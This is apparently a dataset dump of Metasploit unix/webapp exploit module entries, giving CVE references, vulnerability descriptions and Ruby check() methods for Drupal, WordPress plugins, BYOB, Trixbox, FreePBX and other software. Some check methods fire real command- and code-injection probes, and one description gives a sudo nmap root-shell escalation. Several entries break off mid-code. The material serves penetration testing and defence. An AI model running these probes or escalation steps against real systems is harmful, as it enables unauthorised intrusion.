deardaniel/secdata-raw huggingface dataset:
Metasploit Module: Generic PHP Remote File Include
Type: exploit
Path: modules/exploits/unix/webapp/php_include.rb
Platform: php
Disclosure date: 2006-12-17

Description:
This module can be used to exploit any generic PHP remote file include
          vulnerability, where the application includes code like the following:
          <?php include($_REQUEST['inc']); ?>

Check method (fingerprinting):
method = datastore['FORMDATA'] ? 'POST' : 'GET'
    uri = normalize_uri(datastore['ROOTDIR'], datastore['PHPURI']).gsub('!INJECT!', '')
    print_status("Checking URI via #{method}: #{uri}")

    response = {
      'global' => true,
      'uri' => uri,
      'method' => method,
      'headers' => datastore_headers.merge(
        'Connection' => 'close'
      )
    }
    unless method.casecmp?('get')
      data = method.casecmp?('get') ? nil : encoded_url(datastore['FORMDATA'].gsub('!INJECT!', ''))
      response['headers']['Content-Type'] = 'application/x-www-form-urlencoded'
      response['headers']['Content-Length'] = data.length
      response['data'] = data
    end
    response = send_request_raw(response)
    return Exploit::CheckCode::Unknown('Could not determine the target status') unless response
    return Exploit::CheckCode::Detected('The target service was detected') if response.code == 200

    vprint_warning("Server responded with: HTTP #{response.code}")
    return Exploit::CheckCode::Unknown('Could not determine the target status')
  end
Metasploit Module: Drupal RESTful Web Services unserialize() RCE
Type: exploit
Path: modules/exploits/unix/webapp/drupal_restws_unserialize.rb
Platform: php
Disclosure date: 2019-02-20
References: CVE-2019-6340, URL-https://www.drupal.org/sa-core-2019-003, URL-https://www.drupal.org/psa-2019-02-22, URL-https://www.ambionics.io/blog/drupal8-rce, URL-https://github.com/ambionics/phpggc, URL-https://twitter.com/jcran/status/[PII_REDACTED]01798400
Targets: PHP In-Memory, Unix In-Memory

Description:
This module exploits a PHP unserialize() vulnerability in Drupal RESTful
          Web Services by sending a crafted request to the /node REST endpoint.

          As per SA-CORE-2019-003, the initial remediation was to disable POST,
          PATCH, and PUT, but Ambionics discovered that GET was also vulnerable
          (albeit cached). Cached nodes can be exploited only once.

          Drupal updated SA-CORE-2019-003 with PSA-2019-02-22 to notify users of
          this alternate vector.

          Drupal < 8.5.11 and < 8.6.10 are vulnerable.

Check method (fingerprinting):
checkcode = CheckCode::Unknown('Could not determine the target status')

    version = drupal_version

    unless version
      vprint_error('Could not determine Drupal version')
      return checkcode
    end

    if version.to_s !~ /^8\b/
      vprint_error("Drupal #{version} is not supported")
      return CheckCode::Safe("Version #{version} is not vulnerable")
    end

    vprint_status("Drupal #{version} targeted at #{full_uri}")
    checkcode = CheckCode::Detected("Detected version #{version}")

    changelog = drupal_changelog(version)

    unless changelog
      vprint_error('Could not determine Drupal patch level')
      return checkcode
    end

    case drupal_patch(changelog, 'SA-CORE-2019-003')
    when nil
      vprint_warning('CHANGELOG.txt no longer contains patch level')
    when true
      vprint_warning('Drupal appears patched in CHANGELOG.txt')
      checkcode = CheckCode::Safe("Version #{version} is not vulnerable")
    when false
      vprint_good('Drupal appears unpatched in CHANGELOG.txt')
      checkcode = CheckCode::Appears("Version #{version} appears to be vulnerable")
    end

    # Any further with GET and we risk caching the targeted node
    return checkcode if meth == 'GET'

    # NOTE: Exploiting the vuln will move us from "Safe" to Vulnerable
    token = Rex::Text.rand_text_alphanumeric(8..42)
    res = execute_command("echo #{token}")

    return checkcode unless res

    if res.body.include?(token)
      vprint_good('Drupal is vulnerable to
Metasploit Module: Generic Web Application Unix Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/generic_exec.rb
Platform: unix
Disclosure date: 1993-11-14

Description:
This module can be used to exploit any generic command execution vulnerability
          for CGI applications on Unix-like platforms. To use this module, specify the
          CMDURI path, replacing the command itself with XXcmdXX. This module is currently
          limited to forms vulnerable through GET requests with query parameters.
Metasploit Module: WordPress WP Mobile Detector 3.5 Shell Upload
Type: exploit
Path: modules/exploits/unix/webapp/wp_mobile_detector_upload_execute.rb
Platform: php
Disclosure date: 2016-05-31
References: CVE-2016-15043, EDB-39891, URL-https://www.pluginvulnerabilities.com/2016/05/31/aribitrary-file-upload-vulnerability-in-wp-mobile-detector/

Description:
WP Mobile Detector Plugin for WordPress contains a flaw that allows a remote attacker
          to execute arbitrary PHP code. This flaw exists because the
          /wp-content/plugins/wp-mobile-detector/resize.php script does contains a
          remote file include for files not cached by the system already.
          By uploading a .php file, the remote system will
          place the file in a user-accessible path. Making a direct request to the
          uploaded file will allow the attacker to execute the script with the privileges
          of the web server.

Check method (fingerprinting):
check_plugin_version_from_readme('wp-mobile-detector', '3.5')
  end
Metasploit Module: BYOB Unauthenticated RCE via Arbitrary File Write and Command Injection (CVE-2024-45256, CVE-2024-45257)
Type: exploit
Path: modules/exploits/unix/webapp/byob_unauth_rce.rb
Platform: %w[unix linux
Disclosure date: 2024-08-15
References: CVE-2024-45256, CVE-2024-45257, URL-https://blog.chebuya.com/posts/unauthenticated-remote-command-execution-on-byob/
Targets: Unix/Linux Command Shell

Description:
This module exploits two vulnerabilities in the BYOB (Build Your Own Botnet) web GUI:
          1. CVE-2024-45256: Unauthenticated arbitrary file write that allows modification of the SQLite database, adding a new admin user.
          2. CVE-2024-45257: Authenticated command injection in the payload generation page.

          These vulnerabilities remain unpatched.

Check method (fingerprinting):
res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path),
      'keep_cookies' => true
    })

    if res
      doc = res.get_html_document

      unless doc.at('title')&.text&.include?('Build Your Own Botnet') || doc.at('meta[name="description"]')&.attr('content')&.include?('Build Your Own Botnet')
        return CheckCode::Safe('The target does not appear to be BYOB.')
      end
    else
      return CheckCode::Unknown('The target did not respond to the initial check.')
    end

    print_good('The target appears to be BYOB.')

    random_data = Rex::Text.rand_text_alphanumeric(32)
    random_filename = Rex::Text.rand_text_alphanumeric(16)
    random_owner = Rex::Text.rand_text_alphanumeric(8)
    random_module = Rex::Text.rand_text_alphanumeric(6)
    random_session = Rex::Text.rand_text_alphanumeric(6)

    form_data = {
      'data' => random_data,
      'filename' => random_filename,
      'type' => 'txt',
      'owner' => random_owner,
      'module' => random_module,
      'session' => random_session
    }

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'file', 'add'),
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => form_data,
      'keep_cookies' => true
    })

    if res&.code == 500
      return CheckCode::Vulnerable('The target is vulnerable')
    else
      case res&.code
      when 200
        return CheckCode::Safe('The target is not v
Metasploit Module: Graphite Web Unsafe Pickle Handling
Type: exploit
Path: modules/exploits/unix/webapp/graphite_pickle_exec.rb
Platform: unix
Disclosure date: 2013-08-20
References: CVE-2013-5093, URL-http://ceriksen.com/2013/08/20/graphite-remote-code-execution-vulnerability-advisory/

Description:
This module exploits a remote code execution vulnerability in the pickle
          handling of the rendering code in the Graphite Web project between version
          0.9.5 and 0.9.10 (both included).

Check method (fingerprinting):
res1 = send_request_cgi({
      # trailing slash required
      'uri' => normalize_uri(target_uri.path, 'version/'),
      'method' => 'GET'
    })

    res2 = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'render', 'local'),
      'method' => 'POST'
    })

    if (res1 and %w(0.9.5 0.9.10).include?(res1.body.strip)) and (res2 and res2.code == 500)
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: SixApart MovableType Storable Perl Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/sixapart_movabletype_storable_exec.rb
Platform: unix
Disclosure date: 2015-02-11
References: CVE-2015-1592, URL-https://movabletype.org/news/2015/02/movable_type_607_and_5212_released_to_close_security_vulnera.html

Description:
This module exploits a serialization flaw in MovableType before 5.2.12 to execute
          arbitrary code. The default nondestructive mode depends on the target server having
          the Object::MultiType and DateTime Perl modules installed in Perl's @INC paths.
          The destructive mode of operation uses only required MovableType dependencies,
          but it will noticeably corrupt the MovableType installation.

Check method (fingerprinting):
vprint_status("Sending storable test injection for XXXCHECKXXX.pm load failure")
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
      'vars_get' => {
        '__mode' => 'retry',
        'step' => 'configure',
        'config' => '[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]0b[PII_REDACTED]45434b[PII_REDACTED][PII_REDACTED]'
      }
    })

    unless res && res.code == 200 && res.body.include?("Can't locate XXXCHECKXXX.pm")
      vprint_error("Failed XXXCHECKXXX.pm load test");
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
    Exploit::CheckCode::Vulnerable('The target is vulnerable')
  end
Metasploit Module: Wordpress Plainview Activity Monitor RCE
Type: exploit
Path: modules/exploits/unix/webapp/wp_plainview_activity_monitor_rce.rb
Platform: php
Disclosure date: 2018-08-26
References: CVE-2018-15877, EDB-45274

Description:
Plainview Activity Monitor Wordpress plugin is vulnerable to OS
          command injection which allows an attacker to remotely execute
          commands on underlying system. Application passes unsafe user supplied
          data to ip parameter into activities_overview.php.
          Privileges are required in order to exploit this vulnerability.

          Vulnerable plugin version: 20161228 and possibly prior
          Fixed plugin version: 20180826

Check method (fingerprinting):
unless wordpress_and_online?
      vprint_error("#{target_uri} does not seeem to be Wordpress site")
      return CheckCode::Unknown('Could not determine the target status')
    end
    check_plugin_version_from_readme('plainview-activity-monitor', '20180826')
  end
Metasploit Module: TrixBox CE endpoint_devicemap.php Authenticated Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/trixbox_ce_endpoint_devicemap_rce.rb
Platform: linux
Disclosure date: 2020-04-28
References: CVE-2020-7351, URL-https://github.com/rapid7/metasploit-framework/pull/13353
Targets: Automatic (Linux Dropper), Automatic (Unix In-Memory)

Description:
This module exploits an authenticated OS command injection
          vulnerability found in Trixbox CE version 1.2.0 to 2.8.0.4
          inclusive in the "network" POST parameter of the
          "/maint/modules/endpointcfg/endpoint_devicemap.php" page.
          Successful exploitation allows for arbitrary command execution
          on the underlying operating system as the "asterisk" user.
          Users can easily elevate their privileges to the "root" user
          however by executing "sudo nmap --interactive" followed by "!sh"
          from within nmap.

Check method (fingerprinting):
res = login(user, pass)
    unless res
      print_error("No response was received from #{peer} whilst in check(), check it is online and the target port is open!")
      return CheckCode::Detected('The target service was detected')
    end
    if res.code == 200
      version = get_target(res)
      if version.nil?
        # We don't print out an error message here as returning this will
        # automatically cause Metasploit to print out an appropriate error message.
        return CheckCode::Safe('The target is not vulnerable')
      end

      delay = rand(7...10)
      cmd = "sleep #{delay}"
      print_status("#{peer} - Verifying remote code execution by attempting to execute '#{cmd}'.")
      t1 = Time.now.to_i
      res = execute_command(cmd)
      t2 = Time.now.to_i
      unless res
        print_error("#{peer} - Connection failed whilst trying to perform the command injection.")
        return CheckCode::Detected("Detected version #{version}")
      end
      diff = t2 - t1
      if diff >= delay
        print_good("#{peer} - Response received after #{diff} seconds.")
        return CheckCode::Vulnerable("Detected vulnerable version #{version}")
      else
        print_error("#{peer} - Response wasn't received within the expected period of time.")
        return CheckCode::Safe("Version #{version} is not vulnerable")
      end
    end
  rescue ::Rex::ConnectionError
    print_error("#{peer} - Rex::ConnectionError caught in check(), could not connect to the target
Metasploit Module: WordPress Pixabay Images PHP Code Upload
Type: exploit
Path: modules/exploits/unix/webapp/wp_pixabay_images_upload.rb
Platform: php
Disclosure date: 2015-01-19
References: CVE-2015-1376, URL-https://www.mogwaisecurity.de/advisories/MSA-2015-01.txt, OSVDB-117145, OSVDB-117146

Description:
This module exploits multiple vulnerabilities in the WordPress plugin Pixabay
          Images 2.3.6. The plugin does not check the host of a provided download URL
          which can be used to store and execute malicious PHP code on the system.

Check method (fingerprinting):
res = wordpress_and_online?
    unless res
      vprint_error("It doesn't look like a WordPress site")
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    # Send a request with a illegal URL to verify that the target is vulnerable
    post = {
      'pixabay_upload' => rand_text_alphanumeric(rand(5) + 5),
      'image_url' => rand_text_alphanumeric(rand(5) + 5),
      'image_user' => rand_text_alphanumeric(rand(5) + 5),
      'q' => rand_text_alphanumeric(rand(5) + 5)
    }

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(wordpress_url_backend),
      'vars_post' => post
    })

    if res && res.body && res.body.to_s =~ /Error: A valid URL was not provided/
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Wordpress MailPoet Newsletters (wysija-newsletters) Unauthenticated File Upload
Type: exploit
Path: modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb
Platform: php
Disclosure date: 2014-07-01
References: CVE-2014-4725, URL-http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html, URL-http://www.mailpoet.com/security-update-part-2/, URL-https://plugins.trac.wordpress.org/changeset/943427/wysija-newsletters/trunk/helpers/back.php

Description:
The Wordpress plugin "MailPoet Newsletters" (wysija-newsletters) before 2.6.8
          is vulnerable to an unauthenticated file upload. The exploit uses the Upload Theme
          functionality to upload a zip file containing the payload. The plugin uses the
          admin_init hook, which is also executed for unauthenticated users when accessing
          a specific URL. The first fix for this vulnerability appeared in version 2.6.7,
          but the fix can be bypassed. In PHP's default configuration,
          a POST variable overwrites a GET variable in the $_REQUEST array. The plugin
          uses $_REQUEST to check for access rights. By setting the POST parameter to
          something not beginning with 'wysija_', the check is bypassed. Wordpress uses
          the $_GET array to determine the page, so it is not affected by this. The developers
          applied the fixes to all previous versions too.

Check method (fingerprinting):
check_plugin_version_from_readme('wysija-newsletters', '2.6.8')
  end
Metasploit Module: DataLife Engine preview.php PHP Code Injection
Type: exploit
Path: modules/exploits/unix/webapp/datalife_preview_exec.rb
Platform: php
Disclosure date: 2013-01-28
References: CVE-2013-1412, OSVDB-89662, EDB-24438, BID-57603, URL-http://karmainsecurity.com/KIS-2013-01, URL-http://dleviet.com/dle/bug-fix/3281-security-patches-for-dle-97.html

Description:
This module exploits a PHP code injection vulnerability DataLife Engine 9.7.
          The vulnerability exists in preview.php, due to an insecure usage of preg_replace()
          with the e modifier, which allows to inject arbitrary php code, when there is a
          template installed which contains a [catlist] or [not-catlist] tag, even when the
          template isn't in use currently. The template can be configured with the TEMPLATE
          datastore option.

Check method (fingerprinting):
fingerprint = rand_text_alpha(4 + rand(4))

    res = send_injection("#{rand_text_alpha(4 + rand(4))}')||printf(\"#{fingerprint}\");//")

    if res and res.code == 200 and res.body =~ /#{fingerprint}/
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: Joomla Akeeba Kickstart Unserialize Remote Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/joomla_akeeba_unserialize.rb
Platform: php
Disclosure date: 2014-09-29
References: CVE-2014-7228, URL-http://developer.joomla.org/security/[PII_REDACTED]3-core-remote-file-inclusion.html, URL-https://www.akeebabackup.com/home/news/1605-security-update-sep-2014.html, URL-http://websec.wordpress.com/2014/10/05/joomla-3-3-4-akeeba-kickstart-remote-code-execution-cve-2014-7228/

Description:
This module exploits a vulnerability found in Joomla! through 2.5.25, 3.2.5 and earlier
          3.x versions and 3.3.0 through 3.3.4 versions. The vulnerability affects the Akeeba
          component, which is responsible for Joomla! updates. Nevertheless it is worth to note
          that this vulnerability is only exploitable during the update of the Joomla! CMS.

Check method (fingerprinting):
res = send_request_cgi(
      'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restoration.php')
    )

    if res && res.code == 200
      return Exploit::CheckCode::Detected('The target service was detected')
    end

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Dogfood CRM spell.php Remote Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/dogfood_spell_exec.rb
Platform: unix
Disclosure date: 2009-03-03
References: CVE-2009-20010, OSVDB-54707, URL-http://downloads.sourceforge.net/dogfood/

Description:
This module exploits a previously unpublished vulnerability in the
          Dogfood CRM mail function which is vulnerable to command injection
          in the spell check feature.  Because of character restrictions, this
          exploit works best with the double-reverse telnet payload. This
          vulnerability was discovered by LSO and affects v2.0.10.

Check method (fingerprinting):
res = send_request_raw(
      {
        'uri' => normalize_uri(datastore['URIPATH']),
      }, 1
    )

    if (res and res.body =~ /Spell Check complete/)
      return Exploit::CheckCode::Detected('The target service was detected')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: VICIdial user_authorization Unauthenticated Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/vicidial_user_authorization_unauth_cmd_exec.rb
Platform: unix
Disclosure date: 2017-05-26
Authors: bcoles
References: CVE-2025-34099, URL-http://www.vicidial.org/VICIDIALmantis/view.php?id=1016

Description:
This module exploits a vulnerability in VICIdial versions
          2.9 RC 1 to 2.13 RC1 which allows unauthenticated users
          to execute arbitrary operating system commands as the web
          server user if password encryption is enabled (disabled
          by default).

          When password encryption is enabled the user's password
          supplied using HTTP basic authentication is used in a call
          to exec().

          This module has been tested successfully on version 2.11 RC2
          and 2.13 RC1 on CentOS.

Check method (fingerprinting):
user = rand_text_alpha(rand(10) + 5)
    pass = "#{rand_text_alpha(rand(10) + 5)}&#"
    res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'vicidial_sales_viewer.php'),
                           'authorization' => basic_auth(user, pass)

    unless res
      vprint_status 'Connection failed'
      return CheckCode::Unknown('Could not determine the target status')
    end

    if res.code != 401
      vprint_status "#{peer} Unexpected reply. Expected authentication failure."
      return CheckCode::Safe('The target is not vulnerable')
    end

    # Check for input filtering of '#' and '&' characters in password
    # Response for invalid credentials is in the form of: |<username>|<password>|BAD|
    if res.body !~ /\|#{user}\|#{pass}\|BAD\|/
      vprint_status "#{peer} Target is patched."
      return CheckCode::Safe('The target is not vulnerable')
    end

    # Check for ../agc/bp.pl password encryption script
    res = send_request_cgi 'uri' => normalize_uri(target_uri.path, '..', 'agc', 'bp.pl')
    if res && res.code == 200 && res.body =~ /Bcrypt password hashing script/
      vprint_status "#{peer} Password encryption is supported, but may not be enabled."
      return CheckCode::Appears('The target appears to be vulnerable')
    end

    vprint_status "#{peer} Could not verify whether password encryption is supported."
    CheckCode::Detected('The target service was detected')
  end
Metasploit Module: FreePBX config.php Remote Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/freepbx_config_exec.rb
Platform: unix
Disclosure date: 2014-03-21
References: CVE-2014-1903, OSVDB-103240, EDB-32214, URL-http://issues.freepbx.org/browse/FREEPBX-7123

Description:
This module exploits a vulnerability found in FreePBX version 2.9, 2.10, and 2.11.
          It's possible to inject arbitrary PHP functions and commands in the "/admin/config.php"
          parameters "function" and "args".

Check method (fingerprinting):
vprint_status("Trying to detect installed version")

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, "admin", "CHANGES")
    })

    if res and res.code == 200 and res.body =~ /^(.*)$/
      version = $1
    else
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    vprint_status("Version #{version} detected")

    if version =~ /2\.(9|10|11)\.0/
      return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable")
    else
      return Exploit::CheckCode::Safe("Version #{version} is not vulnerable")
    end
  end